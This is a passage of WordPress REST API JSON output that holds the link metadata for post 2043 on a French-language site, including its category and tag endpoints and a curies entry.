y":"category","embeddable":true,"href":"https:\/\/rudypadla.com\/fr\/wp-json\/wp\/v2\/categories?post=2043"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/rudypadla.com\/fr\/wp-json\/wp\/v2\/tags?post=2043"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}